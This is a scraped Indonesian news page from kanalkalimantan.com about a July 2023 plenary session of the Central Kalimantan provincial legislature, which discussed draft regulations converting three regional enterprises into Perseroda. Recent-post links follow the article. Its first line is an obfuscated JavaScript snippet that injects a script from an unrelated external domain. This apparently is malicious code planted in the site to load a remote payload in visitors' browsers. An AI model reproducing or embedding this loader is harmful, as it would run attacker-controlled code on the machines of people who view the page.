(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
DPRD Kota Palangka Raya

DPRD Kalimantan Tengah Bahas Raperda Perubahan BUMD Menjadi Perseroda dalam Rapat Paripurna ke-6


KANALKALIMANTAN.COM,PALANGKARAYA- Dalam Rapat Paripurna ke-6 Masa Persidangan II Tahun Sidang 2023, DPRD Provinsi Kalimantan Tengah aktif membahas empat Rancangan Peraturan Daerah (Raperda) yang diajukan oleh Pemerintah Provinsi Kalteng. Rapat yang berlangsung di Ruang Rapat Paripurna DPRD Provinsi Kalteng, Kota Palangka Raya, pada Rabu, 5 Juli 2023.

ini menandai komitmen DPRD dalam peranannya sebagai lembaga legislatif yang penting. Agenda Rapat Paripurna ini dipimpin oleh Wakil Ketua DPRD Kalteng, H. Abdul Razak, yang secara intens mengawasi jalannya rapat.

Pada rapat ini, para anggota DPRD menerima penyampaian Pemandangan Umum Fraksi-Fraksi DPRD terhadap empat Raperda yang diajukan oleh Pemprov Kalteng. Raperda ini pertama kali diperkenalkan melalui Pidato Pengantar Gubernur dalam rapat sebelumnya pada tanggal 4 April 2023.

Tiga dari empat Raperda tersebut berfokus pada perubahan bentuk hukum Badan Usaha Milik Daerah (BUMD), yakni PT Jamkrida Kalteng, PT Bank Kalteng, dan Perusahaan Daerah (Perusda) Banama Tingang Makmur, menjadi Perusahaan Perseroan Daerah (Perseroda). Sementara satu Raperda lainnya membahas Pertanggungjawaban APBD Provinsi Kalteng Tahun 2022.

Fraksi-Fraksi Pendukung DPRD, termasuk Fraksi PDI Perjuangan, Fraksi Partai Golkar, Partai Demokrat, Partai Nasdem, Partai Gerindra, dan PKB, serta Fraksi Gabungan PAN, PKS, PPP, Perindo, dan Hanura (FGP4H), secara serentak menyatakan dukungannya terhadap keempat Raperda tersebut untuk diteruskan dalam pembahasan lebih lanjut.

Walaupun mendukung, Fraksi-Fraksi tersebut tetap mengajukan pertanyaan dan masukan yang akan menjadi fokus dalam diskusi dengan Pemprov Kalteng di rapat selanjutnya.

Penting untuk dicatat bahwa DPRD Kalteng memandang perubahan bentuk tiga BUMD menjadi Perseroda sebagai langkah penting yang dapat memberikan dorongan signifikan pada ekonomi dan pembangunan daerah Kalimantan Tengah.

Hal ini mencerminkan peran aktif DPRD dalam menjaga dan meningkatkan kesejahteraan masyarakat.(www.kanalkalimantan.com/hms)

Editor : rdy


Muhammad Andi

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.